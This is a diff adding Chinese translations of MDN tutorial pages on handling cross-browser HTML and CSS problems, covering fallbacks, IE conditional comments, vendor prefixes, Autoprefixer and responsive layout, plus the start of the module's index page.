元素被浏览器视为匿名内联元素(有效内联元素,没有语义值,类似于 {{htmlelement("span")}} 元素)。您还可以参考他们通过自己的名字,并用CSS样式它们,例如-你只需要确保它们表现为你想让他们,例如对所有新的语义元素设置 <code>display: block;</code>(如 {{htmlelement("article")}}、{{htmlelement("aside")}} 等),但现在,基本只有在旧版本的 IE 不能识别他们(IE 8 和更低)。这样,新的浏览器就可以正常使用这些代码,但是旧的IE版本也可以对这些元素进行样式化。</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong>请参阅<a href="https://developer.mozilla.org/zh-CN/docs/preview-wiki-content#IE_conditional_comments">IE条件注释</a>以获取最佳实践。</p> +</div> + +<p>更复杂的元素,如HTML <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><video></a></code>、<code><a href="/zh-CN/docs/Web/HTML/Element/audio"><audio></a></code>,和 <code><a href="/zh-CN/docs/Web/HTML/Element/canvas"><canvas></a></code>(和其他功能除外)有自然的fallback加入机制,其工作原理与上述相同。您可以在开始和结束标记之间添加回退内容,非支持的浏览器将有效地忽略外部元素并运行嵌套的内容。</p> + +<p>例如:</p> + +<pre><video id="video" controls preload="metadata" poster="img/poster.jpg"> + <source src="video/tears-of-steel-battle-clip-medium.mp4" type="video/mp4"> + <source src="video/tears-of-steel-battle-clip-medium.webm" type="video/webm"> + <source src="video/tears-of-steel-battle-clip-medium.ogg" type="video/ogg"> + <!-- Flash fallback --> + <object type="application/x-shockwave-flash" data="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" width="1024" height="576"> + <param name="movie" value="flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" /> + <param name="allowfullscreen" value="true" /> + <param name="wmode" value="transparent" /> + <param name="flashvars" value="controlbar=over&amp;image=img/poster.jpg&amp;file=flash-player.swf?videoUrl=video/tears-of-steel-battle-clip-medium.mp4" /> + <img alt="Tears of Steel poster image" src="img/poster.jpg" width="1024" height="428" title="No video playback possible, please download the video from the link below" /> + </object> + <!-- Offer download --> + <a href="video/tears-of-steel-battle-clip-medium.mp4">Download MP4</a> +</video></pre> + +<p>这个例子(来自<a href="/zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">创建一个跨浏览器的视频播放器</a>)不仅包括旧的IE版本的Flash视频后备,而且还包括一个简单的链接,允许你下载视频,这样,即使 Flash 播放器无法运作,用户仍然可以访问视频。</p> + +<p>HTML5 表单元素也表现出了后备素质--HTML5 引入了一些特殊的 <code><a href="/zh-CN/docs/Web/HTML/Element/input"><input></a></code> 类型,用于将特定的信息输入到时间,日期,颜色,数字等形式中。这些非常有用,特别是在移动平台上,它提供了一种无痛苦的输入数据对用户体验非常重要。当使用这些输入类型时,支持平台提供特殊的UI小部件,例如用于输入日期的日历小部件。</p> + +<p>以下示例显示日期和时间输入:</p> + +<pre class="brush: html"><form> + <div> + <label for="date">Enter a date:</label> + <input id="date" type="date"> + </div> + <div> + <label for="time">Enter a time:</label> + <input id="time" type="time"> + </div> +</form></pre> + +<p>此代码的输出如下所示:</p> + +<div class="hidden"> +<h6 id="Hidden_example">Hidden example</h6> + +<pre class="brush: css">label { + float: left; + width: 30%; + text-align: right; + } + + input { + float: right; + width: 65%; + } + + label, input { + margin-bottom: 20px; + } + + div { + clear: both; + margin: 10px; + } + + body { + width: 400px; + margin: 0 auto; + }</pre> + +<pre class="brush: html"><form> + <div> + <label for="date">Enter a date:</label> + <input id="date" type="date"> + </div> + <div> + <label for="time">Enter a time:</label> + <input id="time" type="time"> + </div> + </form></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_example', '100%', 150) }}</p> + +<div class="note"> +<p>注意:您也可以在GitHub上以<a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/forms-test.html">forms-test.html的形式直接</a>看到这个运行(参见<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/forms-test.html">源代码</a>)。</p> +</div> + +<p>如果您在支持的浏览器(如桌面/ Android Chrome或iOS Safari)上查看该示例,则会在尝试输入数据时看到特殊的小部件/功能。在一个非支持的平台上,例如Firefox或Internet Explorer,输入只会回退到正常的文本输入,所以至少用户仍然可以输入一些信息。</p> + +<p>注意:当然,这对于您的项目需求来说可能不是一个很好的解决方案 - 视觉呈现方面的差异并不是很大,而且更难保证数据将以您希望的格式输入。对于跨浏览器表单,依靠简单的表单元素,或者选择性地使用高级表单元素来支持浏览器,或者使用提供体面的跨浏览器表单小部件(如 <a href="http://jqueryui.com/">jQuery UI</a> 或 <a href="https://bootstrap-datepicker.readthedocs.io/en/latest/">Bootstrap datepicker</a>)的库可能会更好。</p> + +<h4 id="CSS_回退行为">CSS 回退行为</h4> + +<p>CSS 的情况可以说比 HTML 更好一些。如果一个浏览器遇到一个它不明白的声明或规则,它只会完全跳过它,而不会强行应用它或者抛出错误。这可能会让你和你的用户感到沮丧,如果这样的错误滑入产品代码,但至少意味着整个网站不会因为一个错误而崩溃,如果巧妙地使用,你可以使用它。</p> + +<p>让我们来看一个例子——一个简单的 CSS 风格的框,它有一些 CSS3 特性提供的样式:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14141/blingy-button.png" style="display: block; margin: 0 auto;"></p> + +<div class="note"> +<p><strong>注意</strong>:你也可以在 GitHub 上浏览这个例子:<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/button-with-fallback.html">button-with-fallback.html 的形式运行</a>(另见<a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/html-css/button-with-fallback.html">源代码</a>)。</p> +</div> + +<p>该按钮有一些样式声明,但我们最感兴趣的两个如下:</p> + +<pre class="brush: css">button { + ... + + background-color: #ff0000; + background-color: rgba(255,0,0,1); + box-shadow: inset 1px 1px 3px rgba(255,255,255,0.4), + inset -1px -1px 3px rgba(0,0,0,0.4); +} + +button:hover { + background-color: rgba(255,0,0,0.5); +} + +button:active { + box-shadow: inset 1px 1px 3px rgba(0,0,0,0.4), + inset -1px -1px 3px rgba(255,255,255,0.4); +}</pre> + +<p>在这里,我们提供了一个 <a href="/zh-CN/docs/Web/CSS/color_value#rgba()">RGBA</a> <a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/background-color" title='CSS属性中的 background-color 会设置元素的背景色, 属性的值为颜色值或关键字"transparent"二者选其一.'>background-color</a>,改变悬停的不透明度,给用户一个暗示该按钮是交互式的提示,以及一些半透明的嵌入式 <a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/box-shadow" title="此页面仍未被本地化, 期待您的翻译!">box-shadow</a> 阴影,使按钮有一点纹理和深度。问题在于 RGBA 颜色和方块阴影在9以前的IE版本中不起作用 - 在较旧的版本中,背景根本不会显示出来,所以文本将是不可读的,这没有任何好处!</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14135/unreadable-button.png" style="display: block; margin: 0 auto;"></p> + +<p>为了解决这个问题,我们添加了第二个background-color声明,它只是指定了一个十六进制颜色 - 这在旧版本的浏览器中得到了支持,并且在现代闪亮功能无法使用的情况下作为后备。访问此页面的浏览器首先应用第一个background-color值,当它到达第二个background-color声明时,如果它支持RGBA颜色,它将用这个值覆盖初始值。如果不是的话,它会忽略整个声明,继续前进。</p> + +<div class="note"> +<p><strong>注意</strong>:这同样适用于其他 CSS 功能,如真正的<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries">媒体查询</a>,<a href="/zh-CN/docs/Web/CSS/@font-face">@font-face</a> 以及 <a href="/zh-CN/docs/Web/CSS/@supports">@supports</a> 块-如果不支持他们,浏览器只是忽略它们。</p> +</div> + +<h4 id="IE_条件注释">IE 条件注释</h4> + +<p>IE条件注释是修改后的专有HTML注释语法,可用于将HTML代码有选择地应用于不同版本的IE。这已被证明是一个非常有效的机制来解决跨浏览器的错误。语法如下所示:</p> + +<pre><!--[if lte IE 8]> + <script src="ie-fix.js"></script> + <link href="ie-fix.css" rel="stylesheet" type="text/css"> +<![endif]--></pre> + +<p>只有当浏览器查看页面是IE 8或更旧时,此块才会应用IE特定的CSS和JavaScript。lte意思是“小于或等于”,但是也可以使用lt、gt、gte、!(NOT) 以及其他逻辑语法。</p> + +<div class="note"> +<p><strong>注意:</strong>Sitepoint 的 <a href="https://www.sitepoint.com/web-foundations/internet-explorer-conditional-comments/">Internet Explorer条件注释</a>提供了一个有用的初学者教程/参考,详细解释了条件注释语法。</p> +</div> + +<p>正如你所看到的,这对于将代码修复应用于旧版本的IE尤其有用。我们前面提到的用例(使旧版本的IE可以使用现代语义元素)可以通过使用条件注释来轻松实现,例如,您可以在IE样式表中添加类似这样的内容:</p> + +<pre class="brush: css">aside, main, article, section, nav, figure, figcaption { + display: block; +}</pre> + +<p>然而,这并不是那么简单 - 您还需要通过 JavaScript 在 DOM 中创建您想要样式化的每个元素的副本,让它们变得可以风格化; 这是一个奇怪的怪癖,我们不会在这里让你知道细节。例如:</p> + +<pre class="brush: js">const asideElem = document.createElement('aside'); + ...</pre> + +<p>这听起来像是一个痛苦的处理,但幸运的是有一个 <a href="/zh-CN/docs/Glossary/polyfill" title="polyfill:polyfill是一段代码(通常是Web上的JavaScript),用于在不支持本地支持的旧浏览器上提供现代功能。">polyfill</a> 可以为您做必要的修复,除此之外 - 请参阅 <a href="https://github.com/aFarkas/html5shiv">HTML5Shiv</a> 了解所有细节(请参阅<a href="https://github.com/aFarkas/html5shiv#installation">手动安装</a>以获取最简单的用法)。</p> + +<h4 id="选择器支持">选择器支持</h4> + +<p>当然,如果你不使用正确的<a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Selectors">选择器</a>来选择你想要的样式的话,就没有任何CSS功能可以应用!如果您只是错误地写了一个选择器,所以在任何浏览器中的样式都不像预期的那样,您只需要排除故障并找出选择器出了什么问题。我们发现使用浏览器的开发工具来检查你试图设计的元素是有帮助的,然后看一下DOM检查器倾向于提供的DOM树面包屑跟踪,看看你的选择器是否比它有意义。</p> + +<p>例如,在 Firefox 开发工具中,您可以在DOM检查器的底部获得这种输出:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14139/dom-breadcrumb-trail.png" style="display: block; height: 24px; margin: 0px auto; width: 448px;"></p> + +<p>例如,如果您尝试使用此选择器,则可以看到它不会根据需要选择输入元素:</p> + +<pre class="brush: css">form > #date</pre> + +<p>(date表单输入不是直接在里面<form>;你最好使用一般的后代选择器而不是子选择器)。</p> + +<p>然而,出现在IE 9比旧的版本的另一个问题是,没有任何新的选择(主要是伪类和伪元素如 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:nth-of-type">:nth-of-type</a>,<a href="/zh-CN/docs/Web/CSS/:not">:not</a>,<a href="/zh-CN/docs/Web/CSS/::selection">::selection</a>,等)的工作。如果你想在你的 CSS 中使用这些,并且需要支持较老的IE版本,那么一个好的方法就是使用Keith Clark 的 <a href="http://selectivizr.com/">Selectivizr</a> 库 - 这是一个小型的 JavaScript 库,可以在现有的 JavaScript 库(如 <a href="http://jquery.com/">jQuery</a> 或 <a href="http://mootools.net/">MooTools</a>)上工作。</p> + +<ol> + <li>要尝试此示例,请创建 <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/html-css/selectivizr-example-start.html">selectivizr-example-start.html</a> 的本地副本。如果你看看这个现场直播,你会发现它包含两个段落,其中一个是风格。我们已经选择了这个段落 <code>p:first-child</code>,这在老版本的 IE 中不起作用。</li> + <li>现在下载 <a href="http://mootools.net/">MooTools</a>和<a href="http://selectivizr.com/">Selectivizr</a>,并将它们保存在与示例 HTML 相同的目录中。</li> + <li>将下面的代码放到 HTML 文档的开头,就在开始 <code><style></code> 标记之前: + <pre><script type="text/javascript" src="MooTools-Core-1.6.0.js"></script> + <!--[if (gte IE 6)&(lte IE 8)]> + <script type="text/javascript" src="selectivizr-min.js"></script> + <![endif]--></pre> + </li> +</ol> + +<p>如果你尝试在旧版本的IE中运行它,它应该可以正常工作。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14137/new-selector-ie7.png" style="border-style: solid; border-width: 1px; display: block; height: 516px; margin: 0px auto; width: 771px;"></p> + +<h4 id="处理_CSS_前缀">处理 CSS 前缀</h4> + +<p>CSS 前缀带来的另外一个问题是 - 这些是一种用于允许浏览器供应商在技术处于试验状态时实现自己版本的 CSS(或 JavaScript)特性的机制,所以他们可以使用它来获取它没有与其他浏览器的实现冲突,或者最终的前置实现。举个例子:</p> + +<ul> + <li>Mozilla 使用 <code>-moz-</code></li> + <li>Chrome / Opera / Safari 使用 <code>-webkit-</code></li> + <li>微软使用 <code>-ms-</code></li> +</ul> + +<p>这里有一些例子:</p> + +<pre class="brush: css">-webkit-transform: rotate(90deg); + +background-image: -moz-linear-gradient(left,green,yellow); +background-image: -webkit-gradient(linear,left center,right center,from(green),to(yellow)); +background-image: linear-gradient(to right,green,yellow); +</pre> + +<p>第一行显示了一个<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/transform">transform</a>带有-webkit-前缀的属性- 这是在Chrome中使用变换功能所必需的,直到功能定稿,并且这些浏览器添加了该属性的前缀无版本(在撰写本文时,Chrome支持这两个版本)。</p> + +<p>最后三行显示了三个不同版本的<a href="/zh-CN/docs/Web/CSS/linear-gradient">linear-gradient()</a>函数,用于在元素的背景中生成线性渐变:</p> + +<ol> + <li>第一个有一个-moz-前缀,并显示一个略老的语法版本(Firefox)</li> + <li>第二个有一个-webkit-前缀,并显示一个更老的专有版本的语法(这实际上是从一个真正的旧版本的WebKit引擎)。</li> + <li>第三个没有前缀,并显示语法的最终版本(包含在定义此功能的<a href="https://drafts.csswg.org/css-images-3/#linear-gradients">CSS图像值和替换内容模块级别3规范中</a>)。</li> +</ol> + +<p>前缀功能从来不应该用于生产网站——它们可能会在没有警告的情况下更改或删除,并导致跨浏览器问题。当开发人员决定只使用-webkit- 某个属性的版本时,这是一个特别的问题- 这意味着该网站在其他浏览器中不起作用。这实际上发生了很多,其他浏览器已经开始实现-webkit-各种CSS属性的前缀版本,所以他们将使用这样的代码。由于这些类型的问题,浏览器供应商使用前缀最近已经下降,但仍然有一些需要注意。</p> + +<p>如果您坚持使用前缀功能,请确保使用正确的功能。您可以在MDN参考页面上查找哪些浏览器需要前缀,以及像<a href="http://caniuse.com/">caniuse.com</a>这样的<a href="http://caniuse.com/">站点</a>。如果你不确定,你也可以直接在浏览器中做一些测试。</p> + +<p>试试这个简单的例子:</p> + +<ol> + <li>打开google.com或具有突出标题或其他块级元素的其他站点。</li> + <li>右键/ Cmd +单击有问题的元素并选择Inspect / Inspect元素(或者浏览器中的任何选项) - 这应该在浏览器中打开开发工具,在DOM检查器中高亮显示该元素。</li> + <li>寻找可以用来选择该元素的功能。例如,在撰写本文时,主要的Google徽标的ID为hplogo。</li> + <li>将对此元素的引用存储在变量中,例如: + <pre class="brush: js">const test = document.getElementById('hplogo');</pre> + </li> + <li>现在尝试为您感兴趣的CSS属性设置一个新的值,你可以使用元素的<a href="/zh-CN/docs/Web/API/HTMLElement/style">style</a>属性来做到这一点,例如尝试在JavaScript控制台中输入这些: + <pre class="brush: js">test.style.transform = 'rotate(90deg)' +test.style.webkitTransform = 'rotate(90deg)'</pre> + </li> +</ol> + +<p>当您开始在第二个点之后键入属性名称表示形式(请注意,在JavaScript中,CSS属性名称是以较低的驼峰大小写,而不是连字符),JavaScript控制台应该开始自动填充浏览器中存在的属性的名称并匹配到目前为止所写的内容。这对于找出在该浏览器中实现哪个版本的属性很有用。</p> + +<p>在撰写本文时, Firefox 和 Chrome 都实现了 <code>-webkit-</code> 前缀和非前缀的<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/transform">transform</a>!</p> + +<p>一旦你找到了你需要支持的前缀,你应该把它们写在你的CSS中,例如:</p> + +<pre class="brush: css">-ms-transform: rotate(90deg); +-webkit-transform: rotate(90deg); +transform: rotate(90deg);</pre> + +<p>这可以确保所有支持上述任何属性的浏览器都可以使该功能正常工作。值得把非前缀版本放在最后,因为那将是最新的版本,如果可能的话,你会希望浏览器使用它。例如,如果浏览器实现了-webkit-版本和非前缀版本,则它将首先应用-webkit-版本,然后用非前缀版本覆盖它。你希望这样发生,而不是相反。</p> + +<p>当然,这样做很多不同的CSS规则可能会变得非常乏味。最好使用自动化工具来为你做。而这样的工具存在:</p> + +<p><a href="http://leaverou.github.io/prefixfree/">无前缀的 JavaScript 库</a>可以附加到页面上,并自动检测浏览器查看页面的功能,并根据需要添加前缀。使用起来非常简单方便,虽然它有一些缺点(请参阅上面的链接了解详细信息),但有一点是可争议的,即在您的站点中解析每个样式表并在运行时添加前缀可能会消耗计算机的处理能力为一个大的网站。</p> + +<p>另一个解决方案是在开发过程中自动添加前缀,而这个(和其他的东西除外)可以使用像<a href="https://github.com/postcss/autoprefixer">Autoprefixer</a>和<a href="http://postcss.org/">PostCSS</a>这样的工具完成。这些工具可以以多种方式使用,例如Autoprefixer有一个<a href="http://autoprefixer.github.io/">在线版本</a>,允许您在左侧输入非前缀CSS,并在右侧给出前缀添加版本。您可以使用<a href="https://github.com/postcss/autoprefixer#options">Autoprefixer选项中</a>列出的符号来选择要确保支持的浏览器; 另请参阅基于此的<a href="https://github.com/ai/browserslist#queries">Browserslist查询</a>以获取更多详细信息。例如,以下查询将选择所有主流浏览器的最后2个版本和 IE9 以上的版本。</p> + +<pre>last 2 versions, ie > 9</pre> + +<p>Autoprefixer 也可用于其他更便捷的方式 - 请参阅<a href="https://github.com/postcss/autoprefixer#usage">Autoprefixer使用情况</a>。例如,您可以使用任务运行器/构建工具(如<a href="http://gulpjs.com/">Gulp</a>或<a href="https://webpack.github.io/">Webpack)</a>在开发完成后自动添加前缀。(解释这些工作如何超出本文的范围。)</p> + +<p>您也可以使用插件来编辑文本编辑器,如Atom或Sublime文本。例如,在Atom中:</p> + +<ol> + <li>您可以通过转到首选项>安装,搜索Autoprefixer,然后安装。</li> + <li>您可以通过按“Autoprefixer 设置”按钮并在页面的“设置”部分的文本字段中输入查询来设置浏览器查询。</li> + <li>在你的代码中,你可以选择要添加前缀的CSS部分,打开命令调色板(Cmd / Ctrl + Shift + P),然后输入Autoprefixer并选择Autoprefixer自动完成的结果。</li> +</ol> + +<p>作为一个例子,我们输入了下面的代码:</p> + +<pre class="brush: css">body { + display: flex; +}</pre> + +<p>我们突出显示了它,并运行 Autoprefixer 命令,并用以下代码替换它:</p> + +<pre class="brush: css">body { + display: -webkit-box; + display: -ms-flexbox; + display: flex; +}</pre> + +<h3 id="布局问题">布局问题</h3> + +<p>另一个可能出现的问题是浏览器之间布局的差异。从历史上看,这往往是一个更大的问题,但是最近,现代浏览器倾向于更一致地支持CSS,布局问题往往更倾向于:</p> + +<ul> + <li>对现代布局功能缺乏(或不同)支持。</li> + <li>布局在移动浏览器中看起来不太好(即响应式设计问题)。</li> +</ul> + +<div class="note"> +<p><strong>注意</strong>:过去,Web 开发人员使用 reset CSS 删除应用于HTML的所有默认浏览器样式,然后将自己的样式应用于顶部的所有样式 - 这样做是为了使项目的样式更加一致,并减少可能的跨浏览器问题,特别是像布局的东西。然而现在它被认为过头了。我们现在最好的等价物是<a href="https://necolas.github.io/normalize.css/">normalize.css</a>,这是一个整齐的CSS,在默认的浏览器样式上略微增加一点,使事情更加一致,并解决一些布局问题。建议您将normalize.css应用于所有的HTML页面。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>:当试图追踪一个棘手的布局问题,一个好方法是添加一个明亮的颜色<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/outline" title="CSS的outline属性是用来设置一个或多个单独的轮廓属性的简写属性 , 例如 outline-style, outline-width 和 outline-color。 多数情况下,简写属性更加可取和便捷。">outline</a>到有问题的元素,或附近的所有元素。这使得更容易看到一切放置在哪里。请参阅<a href="http://www.otsukare.info/2016/10/05/debugging-css" rel="bookmark" title="通过大纲可视化调试您的CSS的永久连接。">使用大纲可视化调试您的CSS以</a>获取更多详细信息。</p> +</div> + +<h4 id="支持新的布局特性">支持新的布局特性</h4> + +<p>今天网络上的大部分布局工作都是使用<a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Floats">浮动工具</a>完成的- 这是因为浮动支持得很好(可以回到IE4,尽管如此,如果您尝试支持IE,也需要调查一些错误很久以前)。但是,它们并不是真正用于布局的目的 - 使用浮动的方式实际上是一种黑客攻击 - 而且它们有一些严重的限制(例如,请参阅<a href="/zh-CN/docs/Learn/CSS/CSS_layout/Flexbox#Why_Flexbox">为什么选择Flexbox?</a>)</p> + +<p>最近,出现了专门的布局机制,例如<a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>和<a href="/zh-CN/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout">CSS Grids</a>,这些布局机制使常见的布局任务变得更加容易并消除了这些缺点。但是,这些在浏览器中并没有得到很好的支持:</p> + +<ul> + <li>CSS Grid 是非常新的;在撰写本文的时候,他们只在最新版本的现代浏览器中才<a href="http://gridbyexample.com/browsers/">得到支持</a>。</li> + <li>Flexbox 在现代浏览器中<a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox#Cross_browser_compatibility">得到</a>了<a href="/zh-CN/docs/Learn/CSS/CSS_layout/Flexbox#Cross_browser_compatibility">很好的支持</a>,但是在旧版浏览器中却存在问题。IE 9 根本不支持它,IE 10 和旧版本的 iOS /桌面 Safari 分别支持 Flexbox 规范的两种不兼容老版本。如果您想尝试在所有这些浏览器上使用 flexbox(请参阅<a href="https://dev.opera.com/articles/advanced-cross-browser-flexbox/">高级跨浏览器Flexbox</a>以获得创意),<a href="https://dev.opera.com/articles/advanced-cross-browser-flexbox/">则会</a>导致一些有趣的浏览器前缀<a href="https://dev.opera.com/articles/advanced-cross-browser-flexbox/">杂乱</a>。</li> +</ul> + +<p>布局功能并不像简单的颜色,阴影或渐变那样容易提供优雅的后备。如果布局属性被忽略,你的整个设计可能会崩溃。因此,您需要使用功能检测来检测访问的浏览器是否支持这些布局功能,并根据结果有选择地应用不同的布局(我们将在后面的文章中详细介绍功能检测)。</p> + +<p>例如,您可以将 Flexbox 布局应用于现代浏览器,然后将浮动布局应用于不支持 Flexbox 的旧浏览器。</p> + +<div class="note"> +<p><strong>注意</strong>:CSS 中还有一个相当新的特性 <a href="/zh-CN/docs/Web/CSS/@supports">@supports</a>,它允许你实现原生特征检测测试。</p> +</div> + +<h4 id="响应式设计问题">响应式设计问题</h4> + +<p>响应式设计是创建网页布局以适应不同设备形式因素(例如不同的屏幕宽度,方向(纵向或横向)或分辨率)的做法。例如桌面布局在移动设备上看起来会很糟糕,所以您需要使用<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries">媒体查询</a>来提供合适的移动布局,并确保使用<a href="/zh-CN/docs/Mozilla/Mobile/Viewport_meta_tag">视口</a>正确应用它。您可以在<a href="/zh-CN/docs/Web/Apps/Progressive/Responsive/responsive_design_building_blocks">响应式设计的构建模块中</a>找到这些实践的详细说明。</p> + +<p>解决方案也是一个大问题 - 例如,移动设备不太可能需要比台式电脑大的图像,并且更可能具有较慢的互联网连接,并且甚至可能使昂贵的数据计划浪费带宽成为更多的问题。另外,不同的设备可以具有一系列不同的分辨率,这意味着较小的图像可以出现像素化。有许多技术可以让您解决这些问题,从简单的<a href="https://developer.mozilla.org/en-US/Apps/Progressive/Responsive/Mobile_first">移动第一媒体查询</a>到更复杂的<a href="/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images#Resolution_switching_Different_sizes">响应式图像技术</a>。</p> + +<p>可能出现问题的另一个困难是浏览器对使上述技术成为可能的特征的支持。媒体查询没有在IE 8或更少的支持,所以如果你想使用移动优先布局和具有桌面布局则适用于旧版本的 IE,你将有一个媒体查询应用于<a href="/zh-CN/docs/Glossary/polyfill" title="polyfill:polyfill是一段代码(通常是Web上的JavaScript),用于在不支持本地支持的旧浏览器上提供现代功能。">填充工具</a>到您的网页,如 <a href="https://code.google.com/archive/p/css3-mediaqueries-js/">css3- mediaqueries-js</a> 或 <a href="https://github.com/scottjehl/Respond">Respond.js</a>。</p> + +<h2 id="寻找帮助">寻找帮助</h2> + +<p>HTML 和 CSS 还有很多其他的问题。最重要的是如何在网上找到答案。</p> + +<p>其中最好的支持信息来源是Mozilla开发者网络(你现在就在这!),<a href="http://stackoverflow.com/">stackoverflow.com</a> 和 <a href="http://caniuse.com/">caniuse.com</a>。</p> + +<p>为使用 Mozilla 开发者网络(MDN),大多数人会搜索他们正在尝试查找信息的技术,以及术语“mdn”,例如“mdn HTML5 video”。MDN 包含几种有用的内容类型:</p> + +<ul> + <li>带有客户端网络技术浏览器支持信息的参考资料,例如<a href="/zh-CN/docs/Web/HTML/Element/video"><video> 参考页面</a>。</li> + <li>其他支持的参考资料,例如 <a href="/zh-CN/docs/Web/HTML/Supported_media_formats">HTML 音频和视频元素支持的媒体格式</a>。</li> + <li>解决特定问题的有用教程,例如<a href="/zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player">创建跨浏览器的视频播放器</a>。</li> +</ul> + +<p><a href="http://caniuse.com/">caniuse.com</a> 提供支持信息,以及一些有用的外部资源链接。例如,请参阅<a href="http://caniuse.com/#search=video">http://caniuse.com/#search=video</a>(您只需在文本框中输入要搜索的功能)。</p> + +<p><a href="http://stackoverflow.com/">stackoverflow.com</a>(SO)是一个论坛网站,您可以提出问题,并让开发人员分享他们的解决方案,查看以前的帖子,并帮助其他开发人员。在发布新问题之前,建议您先看看是否已经回答了您的问题。例如,我们在SO上搜索了“cross browser html5 video”,并且很快得到了<a href="http://stackoverflow.com/questions/16212510/html5-video-with-full-cross-browser-compatibility">具有完全跨浏览器兼容性的 HTML5 Video</a>。</p> + +<p>除此之外,请尝试使用您最喜爱的搜索引擎来解决您的问题。如果有的话,搜索特定的错误信息通常很有用 - 其他开发人员可能会遇到与您一样的问题。</p> + +<h2 id="总结">总结</h2> + +<p>现在您应该熟悉 Web 开发中主要的跨浏览器 HTML 和 CSS 问题,以及如何解决这些问题。</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/index.html new file mode 100644 index 0000000000..816fd36319 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/index.html @@ -0,0 +1,43 @@ +--- +title: 跨浏览器测试 +slug: Learn/Tools_and_testing/Cross_browser_testing +tags: + - CSS + - HTML + - JavaScript + - 初学者 + - 工具 + - 易用性 + - 测试 + - 自动化 + - 跨浏览器 +translation_of: Learn/Tools_and_testing/Cross_browser_testing +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">该模块侧重于跨浏览器测试web项目。我们会查看您的目标受众(例如,您最需要担心的用户,浏览器和设备),如何进行测试最主要的问题是您会遇到不同类型的代码和怎么缓解他们,什么工具对于你测试和解决问题是最有帮助的,以及如何使用自动化来加速测试。</p> + +<h2 id="先决条件">先决条件</h2> + +<p> 在你尝试使用这里详细介绍的工具时,你需要已经学习核心<a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 语言。</p> + +<h2 id="指南">指南</h2> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">跨浏览器测试简介</a></dt> + <dd>本文通过提供跨浏览器测试主题的概述,回答诸如“什么是跨浏览器测试?”,“您将遇到的最常见类型的问题是什么?”和“什么是测试,识别和解决问题的主要方法?“</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">测试策略</a></dt> + <dd>接下来,我们深入了解测试,寻找目标受众(例如:你需要确定测试的浏览器,设备和其他部分),低成本测试策略(必要时对各种设备和一些虚拟机进行adhoc测试),更高科技策略(自动化,使用专用测试apps)和用户组测试。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS"> 处理常见的HTML和CSS问题</a></dt> + <dd>现在,我们着重考虑你在HTML和CSS代码中可能遇到的一些常见的跨浏览器问题,以及那些工具可以用来防止问题发生和解决问题。这包括代码检查,处理CSS前缀,使用浏览器开发工具找出问题,使用polyfills添加浏览器支持,解决响应式问题等。</dd> + <dt><a 